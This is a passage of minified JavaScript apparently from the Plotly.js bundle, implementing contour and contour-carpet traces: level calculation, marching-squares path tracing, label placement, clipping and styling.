P(o){return M.extendFlat({},o,{edgepaths:M.extendDeep([],o.edgepaths),paths:M.extendDeep([],o.paths),starts:M.extendDeep([],o.starts)})}},13031:function(te,Z,e){var M=e(71828),P=e(67684),o=e(73927),L=e(83179),S=e(67217),d=e(8724),g=e(58623),t=e(70600);te.exports=function(f,a,l,u){function s(h,i){return M.coerce(f,a,t,h,i)}function y(h){return M.coerce2(f,a,t,h)}var c=P(f,a,s,u);if(!c){a.visible=!1;return}o(f,a,u,s),s("xhoverformat"),s("yhoverformat"),s("text"),s("hovertext"),s("hoverongaps"),s("hovertemplate");var b=s("contours.type")==="constraint";s("connectgaps",M.isArray1D(a.z)),b?L(f,a,s,u,l):(S(f,a,s,y),d(f,a,s,u)),a.contours&&a.contours.coloring==="heatmap"&&g(s,u)}},87558:function(te,Z,e){var M=e(71828),P=e(64237),o=e(53572);te.exports=function(S,d,g){for(var t=S.type==="constraint"?P[S._operation](S.value):S,r=t.size,f=[],a=o(t),l=g.trace._carpetTrace,u=l?{xaxis:l.aaxis,yaxis:l.baxis,x:g.a,y:g.b}:{xaxis:d.xaxis,yaxis:d.yaxis,x:g.x,y:g.y},s=t.start;s<a;s+=r)if(f.push(M.extendFlat({level:s,crossings:{},starts:[],edgepaths:[],paths:[],z:g.z,smoothing:g.trace.line.smoothing},u)),f.length>1e3){M.warn("Too many contours, clipping at 1000",S);break}return f}},53572:function(te){te.exports=function(e){return e.end+e.size/1e6}},81696:function(te,Z,e){var M=e(71828),P=e(36914);te.exports=function(r,f,a){var l,u,s,y,c;for(f=f||.01,a=a||.01,s=0;s<r.length;s++){for(y=r[s],c=0;c<y.starts.length;c++)u=y.starts[c],S(y,u,"edge",f,a);for(l=0;Object.keys(y.crossings).length&&l<1e4;)l++,u=Object.keys(y.crossings)[0].split(",").map(Number),S(y,u,void 0,f,a);l===1e4&&M.log("Infinite loop in contour?")}};function o(t,r,f,a){return Math.abs(t[0]-r[0])<f&&Math.abs(t[1]-r[1])<a}function L(t,r){var f=t[2]-r[2],a=t[3]-r[3];return Math.sqrt(f*f+a*a)}function S(t,r,f,a,l){var u=r.join(","),s=t.crossings[u],y=d(s,f,r),c=[g(t,r,[-y[0],-y[1]])],b=t.z.length,h=t.z[0].length,i=r.slice(),v=y.slice(),T;for(T=0;T<1e4;T++){if(s>20?(s=P.CHOOSESADDLE[s][(y[0]||y[1])<0?0:1],t.crossings[u]=P.SADDLEREMAINDER[s]):delete t.crossings[u],y=P.NEWDELTA[s],!y){M.log("Found bad marching index:",s,r,t.level);break}c.push(g(t,r,y)),r[0]+=y[0],r[1]+=y[1],u=r.join(","),o(c[c.length-1],c[c.length-2],a,l)&&c.pop();var w=y[0]&&(r[0]<0||r[0]>h-2)||y[1]&&(r[1]<0||r[1]>b-2),E=r[0]===i[0]&&r[1]===i[1]&&y[0]===v[0]&&y[1]===v[1];if(E||f&&w)break;s=t.crossings[u]}T===1e4&&M.log("Infinite loop in contour?");var p=o(c[0],c[c.length-1],a,l),A=0,m=.2*t.smoothing,n=[],C=0,x,I,k,B,_,F,O,z,N,G,J;for(T=1;T<c.length;T++)O=L(c[T],c[T-1]),A+=O,n.push(O);var q=A/n.length*m;function ne(W){return c[W%c.length]}for(T=c.length-2;T>=C;T--)if(x=n[T],x<q){for(k=0,I=T-1;I>=C&&x+n[I]<q;I--)x+=n[I];if(p&&T===c.length-2)for(k=0;k<I&&x+n[k]<q;k++)x+=n[k];_=T-I+k+1,F=Math.floor((T+I+k+2)/2),!p&&T===c.length-2?B=c[c.length-1]:!p&&I===-1?B=c[0]:_%2?B=ne(F):B=[(ne(F)[0]+ne(F+1)[0])/2,(ne(F)[1]+ne(F+1)[1])/2],c.splice(I+1,T-I+1,B),T=I+1,k&&(C=k),p&&(T===c.length-2?c[k]=c[c.length-1]:T===0&&(c[c.length-1]=c[0]))}for(c.splice(0,C),T=0;T<c.length;T++)c[T].length=2;if(!(c.length<2))if(p)c.pop(),t.paths.push(c);else{f||M.log("Unclosed interior contour?",t.level,i.join(","),c.join("L"));var fe=!1;for(z=0;z<t.edgepaths.length;z++)if(G=t.edgepaths[z],!fe&&o(G[0],c[c.length-1],a,l)){c.pop(),fe=!0;var X=!1;for(N=0;N<t.edgepaths.length;N++)if(J=t.edgepaths[N],o(J[J.length-1],c[0],a,l)){X=!0,c.shift(),t.edgepaths.splice(z,1),N===z?t.paths.push(c.concat(J)):(N>z&&N--,t.edgepaths[N]=J.concat(c,G));break}X||(t.edgepaths[z]=c.concat(G))}for(z=0;z<t.edgepaths.length&&!fe;z++)G=t.edgepaths[z],o(G[G.length-1],c[0],a,l)&&(c.shift(),t.edgepaths[z]=G.concat(c),fe=!0);fe||t.edgepaths.push(c)}}function d(t,r,f){var a=0,l=0;return t>20&&r?t===208||t===1114?a=f[0]===0?1:-1:l=f[1]===0?1:-1:P.BOTTOMSTART.indexOf(t)!==-1?l=1:P.LEFTSTART.indexOf(t)!==-1?a=1:P.TOPSTART.indexOf(t)!==-1?l=-1:a=-1,[a,l]}function g(t,r,f){var a=r[0]+Math.max(f[0],0),l=r[1]+Math.max(f[1],0),u=t.z[l][a],s=t.xaxis,y=t.yaxis;if(f[1]){var c=(t.level-u)/(t.z[l][a+1]-u),b=(c!==1?(1-c)*s.c2l(t.x[a]):0)+(c!==0?c*s.c2l(t.x[a+1]):0);return[s.c2p(s.l2c(b),!0),y.c2p(t.y[l],!0),a+c,l]}else{var h=(t.level-u)/(t.z[l+1][a]-u),i=(h!==1?(1-h)*y.c2l(t.y[l]):0)+(h!==0?h*y.c2l(t.y[l+1]):0);return[s.c2p(t.x[a],!0),y.c2p(y.l2c(i),!0),a,l+h]}}},52421:function(te,Z,e){var M=e(7901),P=e(46248);te.exports=function(L,S,d,g,t){t||(t={}),t.isContour=!0;var r=P(L,S,d,g,t);return r&&r.forEach(function(f){var a=f.trace;a.contours.type==="constraint"&&(a.fillcolor&&M.opacity(a.fillcolor)?f.color=M.addOpacity(a.fillcolor,1):a.contours.showlines&&M.opacity(a.line.color)&&(f.color=M.addOpacity(a.line.color,1)))}),r}},99442:function(te,Z,e){te.exports={attributes:e(70600),supplyDefaults:e(13031),calc:e(27529),plot:e(29854).plot,style:e(84426),colorbar:e(90654),hoverPoints:e(52421),moduleType:"trace",name:"contour",basePlotModule:e(93612),categories:["cartesian","svg","2dMap","contour","showLegend"],meta:{}}},14523:function(te,Z,e){var M=e(71828);te.exports=function(o,L,S,d){d||(d={});var g=o("contours.showlabels");if(g){var t=L.font;M.coerceFont(o,"contours.labelfont",{family:t.family,size:t.size,color:S}),o("contours.labelformat")}d.hasHover!==!1&&o("zhoverformat")}},86068:function(te,Z,e){var M=e(39898),P=e(21081),o=e(53572);te.exports=function(S){var d=S.contours,g=d.start,t=o(d),r=d.size||1,f=Math.floor((t-g)/r)+1,a=d.coloring==="lines"?0:1,l=P.extractOpts(S);isFinite(r)||(r=1,f=1);var u=l.reversescale?P.flipScale(l.colorscale):l.colorscale,s=u.length,y=new Array(s),c=new Array(s),b,h,i=l.min,v=l.max;if(d.coloring==="heatmap"){for(h=0;h<s;h++)b=u[h],y[h]=b[0]*(v-i)+i,c[h]=b[1];var T=M.extent([i,v,d.start,d.start+r*(f-1)]),w=T[i<v?0:1],E=T[i<v?1:0];w!==i&&(y.splice(0,0,w),c.splice(0,0,c[0])),E!==v&&(y.push(E),c.push(c[c.length-1]))}else{var p=S._input&&typeof S._input.zmin=="number"&&typeof S._input.zmax=="number";for(p&&(g<=i||t>=v)&&(g<=i&&(g=i),t>=v&&(t=v),f=Math.floor((t-g)/r)+1,a=0),h=0;h<s;h++)b=u[h],y[h]=(b[0]*(f+a-1)-a/2)*r+g,c[h]=b[1];(p||S.autocontour)&&(y[0]>i&&(y.unshift(i),c.unshift(c[0])),y[y.length-1]<v&&(y.push(v),c.push(c[c.length-1])))}return P.makeColorScaleFunc({domain:y,range:c},{noNumericCheck:!0})}},87678:function(te,Z,e){var M=e(36914);te.exports=function(L){var S=L[0].z,d=S.length,g=S[0].length,t=d===2||g===2,r,f,a,l,u,s,y,c,b;for(f=0;f<d-1;f++)for(l=[],f===0&&(l=l.concat(M.BOTTOMSTART)),f===d-2&&(l=l.concat(M.TOPSTART)),r=0;r<g-1;r++)for(a=l.slice(),r===0&&(a=a.concat(M.LEFTSTART)),r===g-2&&(a=a.concat(M.RIGHTSTART)),u=r+","+f,s=[[S[f][r],S[f][r+1]],[S[f+1][r],S[f+1][r+1]]],b=0;b<L.length;b++)c=L[b],y=P(c.level,s),y&&(c.crossings[u]=y,a.indexOf(y)!==-1&&(c.starts.push([r,f]),t&&a.indexOf(y,a.indexOf(y)+1)!==-1&&c.starts.push([r,f])))};function P(o,L){var S=(L[0][0]>o?0:1)+(L[0][1]>o?0:2)+(L[1][1]>o?0:4)+(L[1][0]>o?0:8);if(S===5||S===10){var d=(L[0][0]+L[0][1]+L[1][0]+L[1][1])/4;return o>d?S===5?713:1114:S===5?104:208}return S===15?0:S}},29854:function(te,Z,e){var M=e(39898),P=e(71828),o=e(91424),L=e(21081),S=e(63893),d=e(89298),g=e(21994),t=e(50347),r=e(87678),f=e(81696),a=e(87558),l=e(84857),u=e(20083),s=e(36914),y=s.LABELOPTIMIZER;Z.plot=function(p,A,m,n){var C=A.xaxis,x=A.yaxis;P.makeTraceGroups(n,m,"contour").each(function(I){var k=M.select(this),B=I[0],_=B.trace,F=B.x,O=B.y,z=_.contours,N=a(z,A,B),G=P.ensureSingle(k,"g","heatmapcoloring"),J=[];z.coloring==="heatmap"&&(J=[I]),t(p,A,J,G),r(N),f(N);var q=C.c2p(F[0],!0),ne=C.c2p(F[F.length-1],!0),fe=x.c2p(O[0],!0),X=x.c2p(O[O.length-1],!0),W=[[q,X],[ne,X],[ne,fe],[q,fe]],V=N;z.type==="constraint"&&(V=l(N,z._operation)),c(k,W,z),b(k,V,W,z),i(k,N,p,B,z),T(k,A,p,B,W)})};function c(E,p,A){var m=P.ensureSingle(E,"g","contourbg"),n=m.selectAll("path").data(A.coloring==="fill"?[0]:[]);n.enter().append("path"),n.exit().remove(),n.attr("d","M"+p.join("L")+"Z").style("stroke","none")}function b(E,p,A,m){var n=m.coloring==="fill"||m.type==="constraint"&&m._operation!=="=",C="M"+A.join("L")+"Z";n&&u(p,m);var x=P.ensureSingle(E,"g","contourfill"),I=x.selectAll("path").data(n?p:[]);I.enter().append("path"),I.exit().remove(),I.each(function(k){var B=(k.prefixBoundary?C:"")+h(k,A);B?M.select(this).attr("d",B).style("stroke","none"):M.select(this).remove()})}function h(E,p){var A="",m=0,n=E.edgepaths.map(function(q,ne){return ne}),C=!0,x,I,k,B,_,F;function O(q){return Math.abs(q[1]-p[0][1])<.01}function z(q){return Math.abs(q[1]-p[2][1])<.01}function N(q){return Math.abs(q[0]-p[0][0])<.01}function G(q){return Math.abs(q[0]-p[2][0])<.01}for(;n.length;){for(F=o.smoothopen(E.edgepaths[m],E.smoothing),A+=C?F:F.replace(/^M/,"L"),n.splice(n.indexOf(m),1),x=E.edgepaths[m][E.edgepaths[m].length-1],B=-1,k=0;k<4;k++){if(!x){P.log("Missing end?",m,E);break}for(O(x)&&!G(x)?I=p[1]:N(x)?I=p[0]:z(x)?I=p[3]:G(x)&&(I=p[2]),_=0;_<E.edgepaths.length;_++){var J=E.edgepaths[_][0];Math.abs(x[0]-I[0])<.01?Math.abs(x[0]-J[0])<.01&&(J[1]-x[1])*(I[1]-J[1])>=0&&(I=J,B=_):Math.abs(x[1]-I[1])<.01?Math.abs(x[1]-J[1])<.01&&(J[0]-x[0])*(I[0]-J[0])>=0&&(I=J,B=_):P.log("endpt to newendpt is not vert. or horz.",x,I,J)}if(x=I,B>=0)break;A+="L"+I}if(B===E.edgepaths.length){P.log("unclosed perimeter path");break}m=B,C=n.indexOf(m)===-1,C&&(m=n[0],A+="Z")}for(m=0;m<E.paths.length;m++)A+=o.smoothclosed(E.paths[m],E.smoothing);return A}function i(E,p,A,m,n){var C=A._context.staticPlot,x=P.ensureSingle(E,"g","contourlines"),I=n.showlines!==!1,k=n.showlabels,B=I&&k,_=Z.createLines(x,I||k,p,C),F=Z.createLineClip(x,B,A,m.trace.uid),O=E.selectAll("g.contourlabels").data(k?[0]:[]);if(O.exit().remove(),O.enter().append("g").classed("contourlabels",!0),k){var z=[],N=[];P.clearLocationCache();var G=Z.labelFormatter(A,m),J=o.tester.append("text").attr("data-notex",1).call(o.font,n.labelfont),q=p[0].xaxis,ne=p[0].yaxis,fe=q._length,X=ne._length,W=q.range,V=ne.range,Y=P.aggNums(Math.min,null,m.x),Q=P.aggNums(Math.max,null,m.x),ie=P.aggNums(Math.min,null,m.y),j=P.aggNums(Math.max,null,m.y),K=Math.max(q.c2p(Y,!0),0),oe=Math.min(q.c2p(Q,!0),fe),re=Math.max(ne.c2p(j,!0),0),le=Math.min(ne.c2p(ie,!0),X),pe={};W[0]<W[1]?(pe.left=K,pe.right=oe):(pe.left=oe,pe.right=K),V[0]<V[1]?(pe.top=re,pe.bottom=le):(pe.top=le,pe.bottom=re),pe.middle=(pe.top+pe.bottom)/2,pe.center=(pe.left+pe.right)/2,z.push([[pe.left,pe.top],[pe.right,pe.top],[pe.right,pe.bottom],[pe.left,pe.bottom]]);var we=Math.sqrt(fe*fe+X*X),xe=s.LABELDISTANCE*we/Math.max(1,p.length/s.LABELINCREASE);_.each(function(ke){var _e=Z.calcTextOpts(ke.level,G,J,A);M.select(this).selectAll("path").each(function(){var be=this,ge=P.getVisibleSegment(be,pe,_e.height/2);if(ge&&!(ge.len<(_e.width+_e.height)*s.LABELMIN))for(var Te=Math.min(Math.ceil(ge.len/xe),s.LABELMAX),Fe=0;Fe<Te;Fe++){var Oe=Z.findBestTextLocation(be,ge,_e,N,pe);if(!Oe)break;Z.addLabelData(Oe,_e,N,z)}})}),J.remove(),Z.drawLabels(O,N,A,F,B?z:null)}k&&!I&&_.remove()}Z.createLines=function(E,p,A,m){var n=A[0].smoothing,C=E.selectAll("g.contourlevel").data(p?A:[]);if(C.exit().remove(),C.enter().append("g").classed("contourlevel",!0),p){var x=C.selectAll("path.openline").data(function(k){return k.pedgepaths||k.edgepaths});x.exit().remove(),x.enter().append("path").classed("openline",!0),x.attr("d",function(k){return o.smoothopen(k,n)}).style("stroke-miterlimit",1).style("vector-effect",m?"none":"non-scaling-stroke");var I=C.selectAll("path.closedline").data(function(k){return k.ppaths||k.paths});I.exit().remove(),I.enter().append("path").classed("closedline",!0),I.attr("d",function(k){return o.smoothclosed(k,n)}).style("stroke-miterlimit",1).style("vector-effect",m?"none":"non-scaling-stroke")}return C},Z.createLineClip=function(E,p,A,m){var n=A._fullLayout._clips,C=p?"clipline"+m:null,x=n.selectAll("#"+C).data(p?[0]:[]);return x.exit().remove(),x.enter().append("clipPath").classed("contourlineclip",!0).attr("id",C),o.setClipUrl(E,C,A),x},Z.labelFormatter=function(E,p){var A=E._fullLayout,m=p.trace,n=m.contours,C={type:"linear",_id:"ycontour",showexponent:"all",exponentformat:"B"};if(n.labelformat)C.tickformat=n.labelformat,g(C,A);else{var x=L.extractOpts(m);if(x&&x.colorbar&&x.colorbar._axis)C=x.colorbar._axis;else{if(n.type==="constraint"){var I=n.value;Array.isArray(I)?C.range=[I[0],I[I.length-1]]:C.range=[I,I]}else C.range=[n.start,n.end],C.nticks=(n.end-n.start)/n.size;C.range[0]===C.range[1]&&(C.range[1]+=C.range[0]||1),C.nticks||(C.nticks=1e3),g(C,A),d.prepTicks(C),C._tmin=null,C._tmax=null}}return function(k){return d.tickText(C,k).text}},Z.calcTextOpts=function(E,p,A,m){var n=p(E);A.text(n).call(S.convertToTspans,m);var C=A.node(),x=o.bBox(C,!0);return{text:n,width:x.width,height:x.height,fontSize:+C.style["font-size"].replace("px",""),level:E,dy:(x.top+x.bottom)/2}},Z.findBestTextLocation=function(E,p,A,m,n){var C=A.width,x,I,k,B,_;p.isClosed?(I=p.len/y.INITIALSEARCHPOINTS,x=p.min+I/2,k=p.max):(I=(p.len-C)/(y.INITIALSEARCHPOINTS+1),x=p.min+I+C/2,k=p.max-(I+C)/2);for(var F=1/0,O=0;O<y.ITERATIONS;O++){for(var z=x;z<k;z+=I){var N=P.getTextLocation(E,p.total,z,C),G=v(N,A,m,n);G<F&&(F=G,_=N,B=z)}if(F>y.MAXCOST*2)break;O&&(I/=2),x=B-I/2,k=x+I*1.5}if(F<=y.MAXCOST)return _};function v(E,p,A,m){var n=p.width/2,C=p.height/2,x=E.x,I=E.y,k=E.theta,B=Math.cos(k)*n,_=Math.sin(k)*n,F=(x>m.center?m.right-x:x-m.left)/(B+Math.abs(Math.sin(k)*C)),O=(I>m.middle?m.bottom-I:I-m.top)/(Math.abs(_)+Math.cos(k)*C);if(F<1||O<1)return 1/0;var z=y.EDGECOST*(1/(F-1)+1/(O-1));z+=y.ANGLECOST*k*k;for(var N=x-B,G=I-_,J=x+B,q=I+_,ne=0;ne<A.length;ne++){var fe=A[ne],X=Math.cos(fe.theta)*fe.width/2,W=Math.sin(fe.theta)*fe.width/2,V=P.segmentDistance(N,G,J,q,fe.x-X,fe.y-W,fe.x+X,fe.y+W)*2/(p.height+fe.height),Y=fe.level===p.level,Q=Y?y.SAMELEVELDISTANCE:1;if(V<=Q)return 1/0;var ie=y.NEIGHBORCOST*(Y?y.SAMELEVELFACTOR:1);z+=ie/(V-Q)}return z}Z.addLabelData=function(E,p,A,m){var n=p.fontSize,C=p.width+n/3,x=Math.max(0,p.height-n/3),I=E.x,k=E.y,B=E.theta,_=Math.sin(B),F=Math.cos(B),O=function(N,G){return[I+N*F-G*_,k+N*_+G*F]},z=[O(-C/2,-x/2),O(-C/2,x/2),O(C/2,x/2),O(C/2,-x/2)];A.push({text:p.text,x:I,y:k,dy:p.dy,theta:B,level:p.level,width:C,height:x}),m.push(z)},Z.drawLabels=function(E,p,A,m,n){var C=E.selectAll("text").data(p,function(B){return B.text+","+B.x+","+B.y+","+B.theta});if(C.exit().remove(),C.enter().append("text").attr({"data-notex":1,"text-anchor":"middle"}).each(function(B){var _=B.x+Math.sin(B.theta)*B.dy,F=B.y-Math.cos(B.theta)*B.dy;M.select(this).text(B.text).attr({x:_,y:F,transform:"rotate("+180*B.theta/Math.PI+" "+_+" "+F+")"}).call(S.convertToTspans,A)}),n){for(var x="",I=0;I<n.length;I++)x+="M"+n[I].join("L")+"Z";var k=P.ensureSingle(m,"path","");k.attr("d",x)}};function T(E,p,A,m,n){var C=m.trace,x=A._fullLayout._clips,I="clip"+C.uid,k=x.selectAll("#"+I).data(C.connectgaps?[]:[0]);if(k.enter().append("clipPath").classed("contourclip",!0).attr("id",I),k.exit().remove(),C.connectgaps===!1){var B={level:.9,crossings:{},starts:[],edgepaths:[],paths:[],xaxis:p.xaxis,yaxis:p.yaxis,x:m.x,y:m.y,z:w(m),smoothing:0};r([B]),f([B]),u([B],{type:"levels"});var _=P.ensureSingle(k,"path","");_.attr("d",(B.prefixBoundary?"M"+n.join("L")+"Z":"")+h(B,n))}else I=null;o.setClipUrl(E,I,A)}function w(E){var p=E.trace._emptypoints,A=[],m=E.z.length,n=E.z[0].length,C,x=[],I;for(C=0;C<n;C++)x.push(1);for(C=0;C<m;C++)A.push(x.slice());for(C=0;C<p.length;C++)I=p[C],A[I[0]][I[1]]=0;return E.zmask=A,A}},18670:function(te,Z,e){var M=e(89298),P=e(71828);te.exports=function(S,d){var g=S.contours;if(S.autocontour){var t=S.zmin,r=S.zmax;(S.zauto||t===void 0)&&(t=P.aggNums(Math.min,null,d)),(S.zauto||r===void 0)&&(r=P.aggNums(Math.max,null,d));var f=o(t,r,S.ncontours);g.size=f.dtick,g.start=M.tickFirst(f),f.range.reverse(),g.end=M.tickFirst(f),g.start===t&&(g.start+=g.size),g.end===r&&(g.end-=g.size),g.start>g.end&&(g.start=g.end=(g.start+g.end)/2),S._input.contours||(S._input.contours={}),P.extendFlat(S._input.contours,{start:g.start,end:g.end,size:g.size}),S._input.autocontour=!0}else if(g.type!=="constraint"){var a=g.start,l=g.end,u=S._input.contours;if(a>l&&(g.start=u.start=l,l=g.end=u.end=a,a=g.start),!(g.size>0)){var s;a===l?s=1:s=o(a,l,S.ncontours).dtick,u.size=g.size=s}}};function o(L,S,d){var g={type:"linear",range:[L,S]};return M.autoTicks(g,(S-L)/(d||15)),g}},84426:function(te,Z,e){var M=e(39898),P=e(91424),o=e(70035),L=e(86068);te.exports=function(d){var g=M.select(d).selectAll("g.contour");g.style("opacity",function(t){return t[0].trace.opacity}),g.each(function(t){var r=M.select(this),f=t[0].trace,a=f.contours,l=f.line,u=a.size||1,s=a.start,y=a.type==="constraint",c=!y&&a.coloring==="lines",b=!y&&a.coloring==="fill",h=c||b?L(f):null;r.selectAll("g.contourlevel").each(function(T){M.select(this).selectAll("path").call(P.lineGroupStyle,l.width,c?h(T.level):l.color,l.dash)});var i=a.labelfont;if(r.selectAll("g.contourlabels text").each(function(T){P.font(M.select(this),{family:i.family,size:i.size,color:i.color||(c?h(T.level):l.color)})}),y)r.selectAll("g.contourfill path").style("fill",f.fillcolor);else if(b){var v;r.selectAll("g.contourfill path").style("fill",function(T){return v===void 0&&(v=T.level),h(T.level+.5*u)}),v===void 0&&(v=s),r.selectAll("g.contourbg path").style("fill",h(v-.5*u))}}),o(d)}},8724:function(te,Z,e){var M=e(1586),P=e(14523);te.exports=function(L,S,d,g,t){var r=d("contours.coloring"),f,a="";r==="fill"&&(f=d("contours.showlines")),f!==!1&&(r!=="lines"&&(a=d("line.color","#000")),d("line.width",.5),d("line.dash")),r!=="none"&&(L.showlegend!==!0&&(S.showlegend=!1),S._dfltShowLegend=!1,M(L,S,g,d,{prefix:"",cLetter:"z"})),d("line.smoothing"),P(d,g,a,t)}},88085:function(te,Z,e){var M=e(21606),P=e(70600),o=e(50693),L=e(1426).extendFlat,S=P.contours;te.exports=L({carpet:{valType:"string",editType:"calc"},z:M.z,a:M.x,a0:M.x0,da:M.dx,b:M.y,b0:M.y0,db:M.dy,text:M.text,hovertext:M.hovertext,transpose:M.transpose,atype:M.xtype,btype:M.ytype,fillcolor:P.fillcolor,autocontour:P.autocontour,ncontours:P.ncontours,contours:{type:S.type,start:S.start,end:S.end,size:S.size,coloring:{valType:"enumerated",values:["fill","lines","none"],dflt:"fill",editType:"calc"},showlines:S.showlines,showlabels:S.showlabels,labelfont:S.labelfont,labelformat:S.labelformat,operation:S.operation,value:S.value,editType:"calc",impliedEdits:{autocontour:!1}},line:{color:P.line.color,width:P.line.width,dash:P.line.dash,smoothing:P.line.smoothing,editType:"plot"},transforms:void 0},o("",{cLetter:"z",autoColorDflt:!1}))},59885:function(te,Z,e){var M=e(78803),P=e(71828),o=e(68296),L=e(4742),S=e(824),d=e(43907),g=e(70769),t=e(75005),r=e(22882),f=e(18670);te.exports=function(u,s){var y=s._carpetTrace=r(u,s);if(!(!y||!y.visible||y.visible==="legendonly")){if(!s.a||!s.b){var c=u.data[y.index],b=u.data[s.index];b.a||(b.a=c.a),b.b||(b.b=c.b),t(b,s,s._defaultColor,u._fullLayout)}var h=a(u,s);return f(s,s._z),h}};function a(l,u){var s=u._carpetTrace,y=s.aaxis,c=s.baxis,b,h,i,v,T,w,E;y._minDtick=0,c._minDtick=0,P.isArray1D(u.z)&&o(u,y,c,"a","b",["z"]),b=u._a=u._a||u.a,v=u._b=u._b||u.b,b=b?y.makeCalcdata(u,"_a"):[],v=v?c.makeCalcdata(u,"_b"):[],h=u.a0||0,i=u.da||1,T=u.b0||0,w=u.db||1,E=u._z=L(u._z||u.z,u.transpose),u._emptypoints=d(E),S(E,u._emptypoints);var p=P.maxRowLength(E),A=u.xtype==="scaled"?"":b,m=g(u,A,h,i,p,y),n=u.ytype==="scaled"?"":v,C=g(u,n,T,w,E.length,c),x={a:m,b:C,z:E};return u.contours.type==="levels"&&u.contours.coloring!=="none"&&M(l,u,{vals:E,containerStr:"",cLetter:"z"}),[x]}},75005:function(te,Z,e){var M=e(71828),P=e(67684),o=e(88085),L=e(83179),S=e(67217),d=e(8724);te.exports=function(t,r,f,a){function l(c,b){return M.coerce(t,r,o,c,b)}function u(c){return M.coerce2(t,r,o,c)}if(l("carpet"),t.a&&t.b){var s=P(t,r,l,a,"a","b");if(!s){r.visible=!1;return}l("text");var y=l("contours.type")==="constraint";y?L(t,r,l,a,f,{hasHover:!1}):(S(t,r,l,u),d(t,r,l,a,{hasHover:!1}))}else r._defaultColor=f,r._length=null}},93740:function(te,Z,e){te.exports={attributes:e(88085),supplyDefaults:e(75005),colorbar:e(90654),calc:e(59885),plot:e(51048),style:e(84426),moduleType:"trace",name:"contourcarpet",basePlotModule:e(93612),categories:["cartesian","svg","carpet","contour","symbols","showLegend","hasLines","carpetDependent","noHover","noSortingByValue"],meta:{}}},51048:function(te,Z,e){var M=e(39898),P=e(27669),o=e(67961),L=e(91424),S=e(71828),d=e(87678),g=e(81696),t=e(29854),r=e(36914),f=e(84857),a=e(87558),l=e(20083),u=e(22882),s=e(4536);te.exports=function(A,m,n,C){var x=m.xaxis,I=m.yaxis;S.makeTraceGroups(C,n,"contour").each(function(k){var B=M.select(this),_=k[0],F=_.trace,O=F._carpetTrace=u(A,F),z=A.calcdata[O.index][0];if(!O.visible||O.visible==="legendonly")return;var N=_.a,G=_.b,J=F.contours,q=a(J,m,_),ne=J.type==="constraint",fe=J._operation,X=ne?fe==="="?"lines":"fill":J.coloring;function W(we){var xe=O.ab2xy(we[0],we[1],!0);return[x.c2p(xe[0]),I.c2p(xe[1])]}var V=[[N[0],G[G.length-1]],[N[N.length-1],G[G.length-1]],[N[N.length-1],G[0]],[N[0],G[0]]];d(q);var Y=(N[N.length-1]-N[0])*1e-8,Q=(G[G.length-1]-G[0])*1e-8;g(q,Y,Q);var ie=q;J.type==="constraint"&&(ie=f(q,fe)),y(q,W);var j,K,oe,re,le=[];for(re=z.clipsegments.length-1;re>=0;re--)j=z.clipsegments[re],K=P([],j.x,x.c2p),oe=P([],j.y,I.c2p),K.reverse(),oe.reverse(),le.push(o(K,oe,j.bicubic));var pe="M"+le.join("L")+"Z";T(B,z.clipsegments,x,I,ne,X),w(F,B,x,I,ie,V,W,O,z,X,pe),c(B,q,A,_,J,m,O),L.setClipUrl(B,O._clipPathId,A)})};function y(p,A){var m,n,C,x,I,k,B,_,F;for(m=0;m<p.length;m++){for(x=p[m],I=x.pedgepaths=[],k=x.ppaths=[],n=0;n<x.edgepaths.length;n++){for(F=x.edgepaths[n],B=[],C=0;C<F.length;C++)B[C]=A(F[C]);I.push(B)}for(n=0;n<x.paths.length;n++){for(F=x.paths[n],_=[],C=0;C<F.length;C++)_[C]=A(F[C]);k.push(_)}}}function c(p,A,m,n,C,x,I){var k=m._context.staticPlot,B=S.ensureSingle(p,"g","contourlines"),_=C.showlines!==!1,F=C.showlabels,O=_&&F,z=t.createLines(B,_||F,A,k),N=t.createLineClip(B,O,m,n.trace.uid),G=p.selectAll("g.contourlabels").data(F?[0]:[]);if(G.exit().remove(),G.enter().append("g").classed("contourlabels",!0),F){var J=x.xaxis,q=x.yaxis,ne=J._length,fe=q._length,X=[[[0,0],[ne,0],[ne,fe],[0,fe]]],W=[];S.clearLocationCache();var V=t.labelFormatter(m,n),Y=L.tester.append("text").attr("data-notex",1).call(L.font,C.labelfont),Q={left:0,right:ne,center:ne/2,top:0,bottom:fe,middle:fe/2},ie=Math.sqrt(ne*ne+fe*fe),j=r.LABELDISTANCE*ie/Math.max(1,A.length/r.LABELINCREASE);z.each(function(K){var oe=t.calcTextOpts(K.level,V,Y,m);M.select(this).selectAll("path").each(function(re){var le=this,pe=S.getVisibleSegment(le,Q,oe.height/2);if(pe&&(b(le,re,K,pe,I,oe.height),!(pe.len<(oe.width+oe.height)*r.LABELMIN)))for(var we=Math.min(Math.ceil(pe.len/j),r.LABELMAX),xe=0;xe<we;xe++){var ke=t.findBestTextLocation(le,pe,oe,W,Q);if(!ke)break;t.addLabelData(ke,oe,W,X)}})}),Y.remove(),t.drawLabels(G,W,m,N,O?X:null)}F&&!_&&z.remove()}function b(p,A,m,n,C,x){for(var I,k=0;k<m.pedgepaths.length;k++)A===m.pedgepaths[k]&&(I=m.edgepaths[k]);if(!I)return;var B=C.a[0],_=C.a[C.a.length-1],F=C.b[0],O=C.b[C.b.length-1];function z(ne,fe){var X=0,W,V=.1;return(Math.abs(ne[0]-B)<V||Math.abs(ne[0]-_)<V)&&(W=i(C.dxydb_rough(ne[0],ne[1],V)),X=Math.max(X,x*v(fe,W)/2)),(Math.abs(ne[1]-F)<V||Math.abs(ne[1]-O)<V)&&(W=i(C.dxyda_rough(ne[0],ne[1],V)),X=Math.max(X,x*v(fe,W)/2)),X}var N=h(p,0,1),G=h(p,n.total,n.total-1),J=z(I[0],N),q=n.total-z(I[I.length-1],G);n.min<J&&(n.min=J),n.max>q&&(n.max=q),n.len=n.max-n.min}function h(p,A,m){var n=p.getPointAtLength(A),C=p.getPointAtLength(m),x=C.x-n.x,I=C.y-n.y,k=Math.sqrt(x*x+I*I);return[x/k,I/k]}function i(p){var A=Math.sqrt(p[0]*p[0]+p[1]*p[1]);return[p[0]/A,p[1]/A]}function v(p,A){var m=Math.abs(p[0]*A[0]+p[1]*A[1]),n=Math.sqrt(1-m*m);return n/m}function T(p,A,m,n,C,x){var I,k,B,_,F=S.ensureSingle(p,"g","contourbg"),O=F.selectAll("path").data(x==="fill"&&!C?[0]:[]);O.enter().append("path"),O.exit().remove();var z=[];for(_=0;_<A.length;_++)I=A[_],k=P([],I.x,m.c2p),B=P([],I.y,n.c2p),z.push(o(k,B,I.bicubic));O.attr("d","M"+z.join("L")+"Z").style("stroke","none")}function w(p,A,m,n,C,x,I,k,B,_,F){var 